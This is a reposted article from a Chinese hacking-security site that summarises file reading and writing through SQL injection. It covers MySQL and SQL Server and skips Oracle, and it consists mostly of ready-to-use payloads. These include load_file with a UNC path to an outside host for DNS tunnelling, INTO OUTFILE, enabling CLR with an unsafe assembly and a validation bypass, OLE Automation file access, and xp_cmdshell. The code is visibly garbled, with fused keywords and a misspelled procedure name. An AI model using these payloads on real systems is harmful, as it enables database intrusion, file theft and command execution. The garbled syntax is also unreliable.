欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

SQL注入中的文件读写总结

来源:本站整理 作者:佚名 时间:2016-07-09 TAG: 我要投稿

 读文件 

常见的读文件,可以用16进制代替字符串
 
selectload_file('c:/boot.ini')
selectload_file(0x633a2f626f6f742e696e69)
selectload_file('//ecma.io/1.txt')      # smb协议
selectload_file('\\\\ecma.io\\1.txt')    # 可用于DNS隧道
 
写文件 
已知唯一的写文件的方式
 
select 0x313233 intooutfile 'D:/1.txt'
 
二、 SQL Server
 
读文件 
1. BULK INSERT
 
createtableresult(resvarchar(8000));
bulkinsertresultfrom 'd:/1.txt';
 
2. CLR集成
 
// 开启CLR集成
execsp_configure 'show advanced options',1;
reconfigure;
execsp_configure 'clr enabled',1
reconfigure
 
createassemblysqbfrom 'd:\1.exe' withpermission_set=unsafe
 
上面一句可以利用 create assembly 函数从远程服务器加载任何 .NET 二进制文件到数据库中; 但是他会验证是否为合法 .NET 程序 ,导致失败, 下面是读取方式
 
selectmaster.dbo.fn_varbintohexstr(cast(contentas varbinary)) fromsys.assembly_files
 
绕过,首先加载一个有效的 .NET 的二进制文件,然后追加文件即可, 下面是绕过方法 。
 
createassemblysqbfrom 'd:\net.exe';
alterassemblysqbaddfilefrom 'd:\1.txt'
alterassemblysqbaddfilefrom 'd:\notnet.exe'
 
3. Script.FileSystemObject
 
 
# 开启Ole Automation Procedures
 
sp_configure 'show advanced options',1;
RECONFIGURE;
sp_configure 'Ole Automation Procedures',1;
RECONFIGURE;
 
declare @o int, @f int, @t int, @retint
declare @linevarchar(8000)
execsp_oacreate 'scripting.filesystemobject',@o out
execsp_oamethod @o, 'opentextfile', @f out, 'd:\1.txt', 1
exec @ret = sp_onmethod @f, 'readline', @lineout
while(@ret = 0) beginprint @lineexec @ret = sp_oamethod @f, 'readline', @lineoutend
 
写文件 
1. Script.FileSystemObject
 
declare @o int, @f int, @t int, @retint
declare @linevarchar(8000)
execsp_oacreate 'scripting.filesystemobject',@o out
execsp_oamethod @o, 'createtextfile', @f out, 'e:\1.txt', 1
exec @ret = sp_oamethod @f, 'writeline', NULL ,'This is the test string'
 
2. BCP复制文件(测试失败,无 bcp.exe )
 
c:\windows>system32>bcp "select name from sysobjects" querytestout.txt -c -s 127.0.0.1 -U sa -p"sa"
3. xp_cmdshell
 
execxp_cmdshell 'echo test>d:\1.txt'
三、Oracle
 
pass ,Oracle太坑了~~~几乎都受到 PL/SQL 的限制,暂时不讨论
【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载